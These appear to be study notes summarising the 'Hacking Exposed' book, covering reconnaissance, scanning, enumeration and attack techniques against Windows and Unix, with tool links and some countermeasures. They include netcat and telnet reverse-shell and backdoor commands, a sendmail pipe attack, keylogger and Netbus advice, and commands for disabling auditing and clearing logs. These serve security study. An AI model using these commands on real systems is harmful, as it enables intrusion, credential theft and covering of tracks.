Hacking Exposed Notes

Hacking Exposed Notes


Footprinting – profiling an organization Internet, Intranet, Remote Access, and Extranet presence to determine security posture and netblocks

Website Pilfering – grabbing source code to analyze offline

Unix – Wget http://www.gnu.org/software/wget/wget.html

Win – Teleport Pro http://www.tenmax.com/teleport/home.htm

Search Engines – tools for searching multiple engines, IRC, email, etc at once

Win – FerretPRO($) http://www.ferretsoft.com

Web – DogPile http://www.dogpile.com

Registered Networks – internet whois searches

Current Registrars http://www.internic.net/alpha.html

Unix – Whois, Xwhois http://c64.org/~nr/xwhois/

Unix - $ whois “acme.”@whois.crsnic.net (list possible domains)

Unix - $ whois “HANDLE JS1234”@whois.networksolutions.com (list POC info)

Unix - $ whois “@acme.net”@whois.networksolutions.net (list email info)

Web – US http://www.arin.net

Web – International http://www.allwhois.com

Web – US Military http://whois.nic.mil

Web – US Gov http://whois.nic.gov

DNS Interogation – zone transfers between primary and secondary

Unix - $ nslookup

$ server x.x.x.x

$ set type=any

$ ls –d Acme.net. >> /tmp/zone_out

Unix - $ host –l –v –t any Acme.net

Unix - $ host Acme.net (resolves Mail Exchange records)

Unix – axfr http://ftp.cdit.edu.cn/pub/linux/www.trinux.org/src/netmap/axfr-0.5.2.tar.gz

Win – Sam Spade http://www.samspade.org



Network Reconnaissance – determine path to network(access path diagram)

Unix - $ traceroute –S –p53 x.x.x.x ( p option allows you to specify port to start at and will increment by one; S option will stop incrementing once open port is found)

Requires patch http://www.packetfactory.net/Projects/firewalk/traceroute.diff

Unix – traceroute option –I uses ICMP packets, default is UDP

Win – tracert(CLI)

Win – VisualRoute http://www.visualroute.com , NeoTrace http://www.neotrace.com (GUI)

Counter Measure – log incoming traceroutes and send back false data

RotoRouter http://packetstorm.securify.com/UNIX/loggers/rr-1.0.tgz


Scanning – determine systems that are alive and reachable via sweeps, port scans, and discovery tools

Ping Sweeps – sending out ICMP ECHO(type 8) across ranges

Unix – fping http://packetstorm.securify.com/Exploit_Code_Archive/fping.tar.gz

Unix – nmap, use –sP option and valid net range, -PT<#> allows you to try other ports if blocked

Unix – Hping http://www.kyuzz.org/antirez/ allows you to send fragmented packets(-f)

Unix – icmpenum http://www.nmrc.org/files/sunix/icmpenum-1.1.1.tgz ability to use ICMP TIME STAMP REQUESTS and ICMP INFO when ECHO is blocked, spoof packets with –s option, and passively list with the –p option

Win – Pinger http://www.nmrc.org/files/snt/

Win – Ping Sweep http://www.solarwinds.net


Additional Tools

Unix – Loki2 http://www.phrack.org/show.php?p=51&a=6 wraps data in ICMP packets, used to bypass firewalls and install backdoors



Port Scanning – connecting to TCP and UDP ports on a target system to see which services are running and which OS

TCP connect scan – full three way handshake, easily detected by host or NIDS

TCP SYN scan – no ACK is sent, only RST /ACK so that no connection is made, stealthier

TCP Xmas Tree Scan – uses FIN, URG, PUSH packets to receive RST for closed ports

TCP Null Scan – sends packet with no flags to receive RST for closed ports

TCP ACK Scan – used to map firewall rulesets, determine statefullness

TCP Windows Scan – analyzes TCP window size for OS identification and open ports

TCP RCP Scan – Unix, detect RPC ports and associated program

UDP Scan – looks for ICMP port unreachable, less accurate, slower

Unix – Strobe ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/strobe-1.06.tgz TCP scanner, also grabs banners

Unix – Saint(SATAN) http://www.saintcorporation.com/products/download.html UDP scanner

Unix - netcat http://www.saintcorporation.com/products/download.html Multifunction scanner

Unix – nmap, -D option for decoy scan, -I option shows owner of service(root), -b ftp bounce

Win – SuperScan http://www.foundstone.com/resources/proddesc/superscan4.htm

FTP Bounce Scanning - allows attacker put/get data via 3rd party server that is trusted by the target host. Requires port command and writable directory on system

http://www.securityfocus.com/archive/1/3488


Scan Detection

Unix – Snort http://www.snort.org/docs/ open source NIDS

Unix – scanlogd http://www.openwall.com/scanlogd/ host based logging

Unix – PortSentry http://sourceforge.net/projects/sentrytools/ host based, detects and blocks

Unix – alert.sh http://www.spitzner.net/intrusion.html firewall scan detection

Win – Genius 3.2.3 http://www.indiesoft.com/ windows host based scan detection

OS Determination – using techniques such as banner grabbing, port scanning, and stack fingerprinting to determine target hosts Operating System

Stack Fingerprinting – analyzing target machine’s TCP/IP stack for OS specific signatures. Each Vendor implements the TCP/IP stack slightly different.

http://www.insecure.org/nmap/nmap-fingerprinting-article.html

Passive Stack Fingerprinting – no connections are made, only analyzing packets via a sniffer for specific attributes such as TTL, Window Size, and DF(don’t fragment bit). The results can be compared to the Siphon fingerprint db http://www.l0t3k.org/security/tools/fingerprinting/

Discovery Tools

Unix – Cheops http://www.marko.net/cheops/ Linux GUI for network discovery via ping, traceroute, queso

Unix – Scotty http://wwwhome.cs.utwente.nl/~schoenw/scotty/ discovery tool, includes SNMP



Enumeration – process of extracting valid account and shared resource information for a target host

WINDOWS

Windows Resouce Kits – contains useful Windows utilities

Win2K - http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp

- http://www.dynawell.com/support/ResKit/win2k.asp

WinNT - http://www.dynawell.com/support/ResKit/winnt.asp

Null Sessions – CIFS/SMB & NetBIOS all unauthenticated sessions via port 139 & 445

Win – C:>\net use \\192.168.202.33\IPC$ “” /u:”” (setting up a null session)

Win – edit registry key HKLM\SYSTEM\CurrentControlSet\Control\LSA\Restrict Anonymous

Must be set to 1 for NT and 2 for W2K to restrict null sessions. Read Hobbits CIFS paper for further info http://www.insecure.org/stf/cifs.txt

Domain Enumeration – use netbios on UDP port 137 to list domains and domain machines

Win – C:\>net view /domain

C:\>net view /domain: (lists machines on domain)

NetBIOS Name Tables – grab NetBIOS names remotely

Win – C:\>nbtstat –A 192.168.202.33

Win – C:\>nbtscan 192.168.234.0/24

Unix/Win versions found at http://www.inetcat.org/software/

Domain Controller Enumeration

Win – C:\>nltest /dclist: (ran over null session nltest /server:)

C:\>nltest /trusted_domains


Share Enumeration

Win – C:\>net view \\ (rmtshare, srvinfo [-s] also good NTRK)

Win – DumpSec also shows file system permissions and services http://www.somarsoft.com/

Win – Legion 2.1 http://www.elhacker.net/hacking.htm

Win – NAT ftp://ftp.technotronic.com/microsoft/nat10bin.zip


Misc Windows Enumeration Tools

Win – Epdump RPC service/port mappings http://packetstormsecurity.org/NT/audit/epdump.zip

Win – netviewx lists specific server types like domain controller, RAS, print

C:\>netviewx –D -T

http://www.ibt.ku.dk/jesper/NetViewX/default.htm

Win – Winfo automates null sessions http://www.ntsecurity.nu/toolbox/winfo/

Win – Nbtdump provides HTML report http://www.cerberus-infosec.co.uk/toolsn.shtml


SNMP Enumeration

Win – Snmputil – browses MIB(Management Information Base) tree using default strings like public, private. The tree is hierarchical, so each time you “walk up” more information is revealed. “.1.3.6.1.4.1.77.1.2.25” is the OID for Microsoft’s MIB.(NTRK)

C:\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25

Win – IP Browser – Solarwinds GUI, http://www.solarwinds.net


More CIFS/SMB Enumeration

Win – Dumpsec(DumpACL) – uses null session to get user, group, share, and policy info

Win – sid2user/user2sid – allows for easy conversion of SID’s to usernames and vice versa

http://www.chem.mus.su:8080/~rudnyi/NT/sid.txt

C:\>user2sid \\ “domain users” (grabs the machines SID)

C:\>sid2user \\ 5 21 8915387 1645822062 18198280005 500 (grabs admin account’s user name, note 500 is always the admin RID, even if its renamed. Also, the first account created is always given an RID of 1000 and incremented by one from there)

Mark Russinovich http://www.win2000mag.com/Articles/Index.cfm?ArticleID=3143

Win – Enum – CLI utility for enumeration & password guessing http://razor.bindview.com

C:\>enum –U –d –P –L –c

Win – Nete from sirdystic of CDC, similar to enum

Win – UserInfo/UserDump user Level 3 call on NetUserGetInfo API http://www.HammerofGod.com/download.htm


LDAP Enumeration

Win – ldp.exe – Active Directory Administration Tool – connects to AD server and allows you to browse contents, runs on either port 389 or 3268(AD Global Catolog)

Banner Enumeration

Banner grabbing via telnet or netcat on various ports like 80, 21, 23, 25 will often leak system, OS, application, user, or version information. Also common to “nudge” the system into coughing up more information using commands like: GET / HTTP/1.0, HEAD, QUIT, HELP, ECHO, and sometimes just carriage returns.

Registry Enumeration

Regdmp(NTRK) or DumpSec(Somarsoft) can be both be used to do this, however by default Win2K Server usually doesn’t allow this. Review the Key HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg\AllowedPaths

To see whats allowed

UNIX

NFS Enumeration

Unix – showmount – lists all NFS(port 2049) exported file systems on a machine

$showmount –e

NIS Enumeraton

Unix – in general various NIS client tools can be used to guess the NIS domain name of a server and retrieve NIS maps, which contain valuable information(pscan by Pluvius)

User & Group Enumeration

Unix – finger(port 79), rwho, rusers all list out who is on the machine at the time. To disable these services simply edit the inetd.conf file and killall –HUP inetd

Unix – SMTP – VRFY will confirm name of valid user; EXPN will give out the actual mail address of aliases and mailing lists. Just telnet to port 25 to test.

Unix – tftp – if enabled, may allow you to get the /etc/password file.

RPC Enumeration

Unix – rpcinfo, rpcdump – both list the RPC bindings for all applications running on the box. RPC uses ports 111, 32771. http://www.atstake.com/research/tools/info_gathering/

SNMP Enumeration

Unix – the net-snmp package will usually include both snmpget and snmpwalk

$ snmpget public system.sysName.0 (grabs host name)

$ snmpwalk public (grabs eniter MIB)


BGP Route Enumeration

Unix – ASN Queries – ASN(Autonomous System Numer) is a 16-bit integer purchased from ARIN to identify a company on the internet. Use http://www.completewhois.com/ to search for this info.

C:\> telnet route-views.Oregon-ix.net (public router)

Ø show ip bgp (last number in AS Path is ASN)

Ø show ip bgp regexp _$ (will give you the public IP space of company)


Windows NT Hacking – gaining access, escalating privileges and covering tracks on Windows NT system

Password Guessing

Default Passwords http://packetstormsecurity.org/docs/hack/dad.txt

http://phenoelit.darklab.org/cgi-bin/display.pl?SUBF=list&SORT=1

http://www.cirt.net/cgi-bin/passwd.pl


Null Passwords Tools NTInfoScan http://packetstormsecurity.org/NT/audit/index2.html

SMBGrind http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=SMBGrind&type=archives

Password Sniffing SMB Packet Capture(readsmb) included with l0phtcrack

PPTP – Unix based sniffer that captures VPN credentials(packetstorm)

Cain & Abel filters out login credentials http://www.oxid.it/


Pass The Hash NT Only, LSASS allows hash only authentication

http://www.core-sdi.com/papers/nt-cred.htm

Buffer Overflows unexpected input, which forces arbitrary code into the execution stack

http://www.cultdeadcow.com/cDc_files/cDc-351/page1.html by DilDog

http://pulhas.org/phrack/55/P55-15.html by Barnaby Jack

http://www.insecure.org/stf/smashstack.txt by Aleph One


Privilege Escalation

Hoovering process of stealing as much info off the machine as possible with a non-admin account. Srvinfo(NTRK) will enumerate shares and regdmp(NTRK) can probe the registry for info. Also good to script a find command in a batch file to look for the password string. GetAdmin uses DLL injection to add a user into the local admin group(crash4)
http://www.windowsitsecurity.com/Articles/Index.cfm?ArticleID=9231


Sechole, Secholed escalates privileges of IUSR_machine_name account on IIS, must be able to upload to a executable directory on server http://www.winnetmag.com/Article/ArticleID/9269/9269.html

LPC Spoofing

hk(porttool) from Razor exploits the LPC Ports API, which has weak validation checks. Allows user to make a client thread as the SYSTEM user. http://www.bindview.com/Support/RAZOR/Utilities/Windows/LPCAdvisory.cfm

Password Cracking the SAM file may be obtained by booting to an alternate OS, from the repair directory, or extracting from the registry via tool.

Pwdump extracts password hashes from the SAM http://packetstormsecurity.org/Crackers/NT/pwdump3.zip

L0phtcrack defacto standard for cracking windows passwords, not free anymore LC5 http://www.atstake.com/products/lc/index.html

Cain & Abel - Poor man’s version of LC, free http://www.oxid.it/cain.html

Wordlists - http://coast.cs.purdue.edu/pub/dict/ http://www.cotse.com/tools/wordlists.htm

Exploiting Trusts

LSA Secrets - The key HKLM\SECURITY\Policy\Secrets holds service accounts in plain text, cached passwords of last 10 users, FTP and web plain test passwords, RAS usernames and passwords, and domain account information. Lsadump2 finds PID of LSASS and uses dll injection http://www.bindview.com/Support/RAZOR/Utilities/Windows/lsadump2_readme.cfm

Sniffers

WinDump, “w32 tcpdump” http://windump.polito.it/install/default.htm Ethereal http://www.ethereal.com/download.html
Dsniff for Win32 http://www.datanerds.net/~mike/dsniff.html

Keystroke Loggers - If sniffing fails, install a keystroke logger to obtain domain credentials http://www.download.com/3120-20-0.html?qt=Keystroke+logger&tg=dl-2001

Remote Control & Backdoors - Remote.exe From NTRK, gives remote users a CMD shell. Most popular way to start it on the host is the us the AT command(scheduler service).

SC.exe - Service Controler will start the scheduler service if its not running C:\> sc \\ start schedule
C:\> net time \\ (to check time on remote system)
C:\> at \\ 10:40P “”remote /s cmd secret”” (launchesserver) C:\> remote /c secret (launches your client)

Netcat -TCP-IP Swiss-Army Knife http://packetstormsecurity.org/UNIX/utilities/nc110.tgz
C:\> nc –L –d –e cmd.exe –p80 (starts listener on target host)
C:\> nc 80 (connects attacker to target host)

Netbus - similar to Back Orifice, the nbsvr.exe must be started on target first. Good idea to run in stealth mode by modifying the registry, however most Virus scans will detect it running. Default ports are 12345 and 20034
C:\> regini –m \\ regchange.txt (NTRK) http://packetstormsecurity.org/trojans/NB20Pro.exe

BO2K - Back Orifice, still under active development, works on 2K and XP http://www.bo2k.com/software/index.html

Along with these VNC, Netmeeting, and dameware are poplular gui-based remote control apps

Port Redirection
Netcat - “Shell Shoveling” target listens on one port while sending the output back via cmd shell to the attacker. The attacker must listen on 2 ports
$ nc 80 | cmd.exe | nc 25 (run on target)

Fpipe - Popular port redirector, also allows for specifying source port. Does have some session timeout issues though with TIME_WAIT and CLOSE_WAIT periods C:\>fpipe –v –l 53 –r 23 (command to run on target) http://www.foundstone.com/resources/proddesc/fpipe.htm

Root Kits - first Windows rootkit was from Greg Hoglund of rootkit.com. A root kit is a software suite that substitutes command system binaries with Trojans. Rootkits use a technique known as “function hooking” to redirect calls without altering the executable or binary. The current generation of Kernel level rootkits are very difficult to detect as they are embedded in the OS. http://www.antiserver.it/Backdoor-Rootkit/

Cover Tracks
Disable Auditing
C:\> auditpol /disable (NTRK)
Clear Event Log
C:\> elsave –s \\ -l “Security” -C http://www.ibt.ku.dk/jesper/NTtools/

Hiding Files
C:\> attib +h [directory] (dos command)
NTFS File Streaming will hide stuff as additional file attributes. It requires the POSIX utility cp(NTRK)
C:\> cp : (just reverse to unhide)

Windows 2000 Hacking – gaining access, escalating privileges and covering tracks on Windows 2K system

Footprinting
Resource Kit Tools http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp
http://www.dynawell.com/support/ResKit/win2k.asp

IPSec Filters - built in feature which does packet filtering very early in the network stack and will drop any packets which fail to meet the rules. Only flaw is that it cannot block IKE, multicast, or broadcast traffic and can’t do port ranges. http://www.microsoft.com/technet/itsolutions/network/security/ipsecld.mspx

Enumeration
NetBIOS/SMB - System information will still be leaked unless you do 1 of 2 things. Disabling File and Print Sharing on your outbound interface will prevent nullsessions. Set RestrictAnonymous = 2 in either the registry or in the Security Policy Manager.

Eavesdropping - All authentication sent using legacy LM hashes can be easily decrypted via L0phtcrack. Also, Kerberos authentication is not used if the user specifies an IP address instead of a hostname.

SMBRelay - When trying to connect to a share/server, Windows will automatically try to log in as the current user if no other authentication information is explicitly supplied, before asking the user for a logon/password. SMBRelay will conduct a MITM attack by fooling a user into connecting to your rogue server, meanwhile after capturing the traffic it is relayed to the actual destination and back to the end user. http://www.xfocus.net/articles/200305/smbrelay.html

Denial of Service
New Registry Keys
HKLM\Sys\CCS\Services\Tcpip\Parameters\SynAttackProtect = 2 (times out syn_received faster)
EnableDeadGWDetect = 0 (prevents attacker from changing default gw) EnablePMTUDiscovery = 0 (stops hackers from lowering MTU value)
KeepAliveTime = 300,000 (verify’s an idle connection is still intact)
Interfaces\NoNameReleaseOnDemand = 0 (stops malware)
Interfaces\PerformRouterDiscovery = 0 (stop router spoofing attack)
http://support.microsoft.com/default.aspx?scid=kb;en-us;142641

Nbname - This tools puts a host in Netbios Name Conflict effectively stopping all Netbios networking on the host. Must first disable NBT on attacker machine to use tool.
C:\>nbname /astat /confilict http://www.securityfocus.com/tools/1670

Privilege Escalation
PipeUpAdmin - Pre SP2, puts current user into admin group when run from cmd prompt http://content.443.ch/pub/security/blackhat/WinNT%20and%202K/pipeup/W2KPipeUp/

NetDDE - Network Dynamic Data Exchange service allows applications to share date through “trusted shares”. Runs as SYSTEM, so arbitrary code can be attached to the request and viola your admin. Requires Visual C++.
C:\>netddemsg –s cmd.exe http://www.atstake.com/research/advisories/2001/netddemsg.cpp

Pilfering
Defeating SYSKEY - pwdump3 can extract hashes from the SAM. Also pwdump3e from ebiz can do this remotely via SMB. http://www.securityfocus.com/tools/1964/chntpw Can be used on bootable media to insert hashes into the SAM. It disables SYSKEY prior to doing this. Similar to NTFSDOS Pro. http://home.eunet.no/~pnordahl/ntpasswd/syskey.txt

Deleting SAM simply booting to an alternate OS and deleting the SAM nullifies the administrator password. DC are not vulnerable. http://www.securiteam.com/windowsntfocus/5FP0B0U1FW.html

EFS - Encrypting File System allows users to encrypt files and folders at the OS level. Cipher can be used from the CMD line. Default Recovery Key is the local admin account, however it should be stored remotely. http://www.microsoft.com/windows2000/techinfo/howitworks/security/encrypt.asp

EFS Temporary - EFS writes a temp file in plain text before encrypting a new file, however a low level disk editor like diskprobe.exe(RK) can recover the file even after its deleted because the disk blocks are not overwritten.

Exploiting Trust
LSA Secrets - lsadump2 still functions on W2K. Microsoft doesn’t consider it a problem
Multimaster Model - Within a Windows 2K forest, all domains replicate a shared Active Directory and trust each other with 2-way transitive trusts necessitated by the Kerberos implementation. Trusts between forests and NT domains are still one-way. This allows for consolidation of domains and delegation of permissions via OU’s (organizational units).

Back Doors
Trap-Dooring Path - When executables and DLL files are not preceded by a path in the registry, windows searches for them in a default order. Therefore by placing your trojaned file on the system drive, the system will launch it instead of the original file. http://www.winnetmag.com/WindowsSecurity/Article/ArticleID/9637/WindowsSecurity_9637.html

Remote Control
Terminal Services running on 3389, TS allows brute force password guessing even if a lockout policy is set. TS also allows existing connections to be hijacked if the previous user forgot to logout correctly, assuming you have their credentials.

New Stuff
Group Policy - GPO is a new 2K feature, that allows you to configure security parameters in one place to be enforced locally or on the domain. (Gpedit.msc)

Secedit - Security Configuration and Analysis tool allows admins to audit the local system security for compliance issues. It also allows you to automatically make updates and have them applied immediately.

XP Stuff
ICF - Internet Connection Firewall offers packet filtering on all inbound traffic, while permitting all outbound traffic.
Software Restriction Policy allows central control over application security to protect against various forms of malware.
Built-In Support for encrypted Wireless Networking(802.11).
MS Passport single-login solution for internet, works by using a tamper-resistant cookie for accessing all sites that support MS passport authentication.
Credential Management, WPA, Remote Desktop, UPNP

UNIX/Linux Hacking – gaining access, escalating privileges and covering tracks on *NIX system

Vulnerability Mapping is the process of mapping specific security attributes of a system to an associated vulnerability or potential vulnerability.

Nessus is a defacto standard because its free and works. http://www.nessus.org/download.html (unix & windows ports)

Remote Attacks - Exploit a Listening Service (telnet, ftp, ssh, etc)
Route Through a Unix System – circumvent a Unix firewall by source routing your packets through the firewall. Works only if system has IP forwarding enabling.
User-Initiated Remote Execution – attacks requiring user interaction, such as browsing malicious web sites or opening email attachments.
Promiscuous Mode Attacks – crafted packets can exploit your sniffer application

Brute Force - Brutus Common tool http://www.hoobie.net/brutus/brutus-download.html
John - Standard Unix Cracker http://www.openwall.com/john/

Data Driven Attacks are executed by sending data to an active service that causes unintended or undesirable results.Buffer Overflow condition occurs when a user or process attempts to place more data into a buffer than was originally allocated. This type of behavior is associated with specific C functions like strcpy, strcat, sprintf etc. A buffer overflow condition would normally cause a segmentation violation to occur. When the attack is executed, special assembly code known as the egg is sent to the VRFY command as part of the actual string used to overflow the buffer. When it’s overrun, attackers can set the return address of the offending function, to point to their arbitrary code’s memory address, which usually includes a shell command. http://www.piaffe.org/panic/

Unix Memory Dump Analysis, Good Luck http://www.phrack.org/
Aleph One’s Paper Phrack 49 http://www.securityfocus.com/tools/1500
Hell Kit for writing buffer overflows
Disable stack execution in /etc/system:Set noexec_user_stack=1Set noexec_user_stack_log =1

Heap Overflows are based on overrunning memory that has been dynamically allocated by an application. This process differs from stack-based overflows, which depend on overflowing a fixed-length buffer. http://www.w00w00.org/files/heaptut/heaptut.txt

Format String Vulnerability arises in subtle programming errors in the formatted output family of functions, which includes printf() and sprintf(). An attacker can take advantage of this by passing carefully crafted test strings containing formatting directives, which can cause the target computer to execute arbitrary commands. For example by using printf(buf) instead of printf(“%I”, buf) the system will read the first argument supplied by the user as the format string and allow arbitrary code to follow it.

Input Validation Attacks occur when a program fails to recognize syntactically incorrect input, a module accepts extraneous input, a module fails to handle missing input fields, or a field-value correlation error occurs. Often used to exploit CGI scripts or other web applications. Shell AccessX Term if enabled is the easiest way to get local gui access on a machine remotely, but may need to be combined with an exploit though. $ /usr/X11R6/bin/xterm –ut :0.0

Reverse Telnet/Netcat will both provide attackers with a back channel into the system that originates from the target host. Both require a listener to be running.
$ /bin/telnet 80 | /bin/sh | /bin/telnet 25
$ nc –e /bin/sh 80

TFTP/Anonymous FTP both will allow attacker to gain access to your machine and if a writeable/executable directory is available the system is toast. The services themselves may be vulnerable to exploits.Sendmail the standard Unix Mail Transfer Agent has been full of vulnerabilities dating back to 1988. Common attacks aside from buffer overflows, input validation, and SMTP enumeration include:Pipe Vulnerability which allows a user to escape to a shell after the data portion
Helo
Mail from:
Rcpt to: bounceData.
mail from:
binrcpt to: |sed ‘1,/^$/d’ | shdata Forward VulnerabilityCat > .forward (create forward file to ftp to users home directory)|”cp /bin/sh /home/gk/evil_shell ; chmod 755 /home/gk/evil_shell” (creates shell executable)
$ echo hello chump | mail gk@targetsystem.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it Refer to http://www.sendmail.org/ for up to date information

RPC is a mechanism that allows a program running on one computer to seamlessly execute code on a remote system. Most buffer overflow attacks target RPC services that run as root in order to gain shell access to the target sytem. Common services exploited include rpc.ttdbserverdb(tooltalk), rpc.cmsd(CDE), rpc.statd(automount), mountd, sadmind, and snmpXdmid.

NFS allows transparent access to files and directories of remote systems as if they were stored locally. Most of the security provided by NFS relates to a data object known as a file handle. The file handle is a token that is used to uniquely identify each file and directory on the remote server. If a file handle can be sniffed of guessed, remote attackers could easily access those files on the remote system.
$ showmount –e (lists exported file systems & permissions)
$ mount :/ /mnt

Try NFSshell for more functionality ftp://ftp.cs.vu.nl/pub/leendert

X Windows System allows exporting of the local graphical display to remote users.Xscan will scan an entire subnet looking for systems with xhosts + enabled and log any console keystrokes to a local logfile. http://www.seguridad0.net/programas/X-Scan-v3.0.zip
$ xlswins –display :0.0 (will list out hex id’s for you)
$ xwatchwin -w (allows you to observe somebody else’s x session)

DNS Insecurity refer to http://www.isc.org/index.pl?/sw/bind/bind-security.php

SSH Insecurity refer to http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=SSH+exploits&type=archives

Promisious Mode Attacks are common in Ethereal, tcpdump, and several other sniffersSymbolic Link can be exploited using any program, especially SUID ones, that creates a temp file and doesn’t perform any sanity checking. By linking that tmp file to the /etc/password or shadow file, the program will update it with its permissions and not root’s.
$ strings * | grep tmp (when run in /bin or /usr/bin, will list out good programs to target)

File Descriptors are nonnegative integers that the system uses to keep track of files rather than using specific filenames (0,1,2, std in, out, error). If a file descriptor is opened r/w by a privileged process, it may be possible for the attacker to write to the file while it is being modified. To shell out of vi, execute :!sh and then modify the tmp file or run exploit code.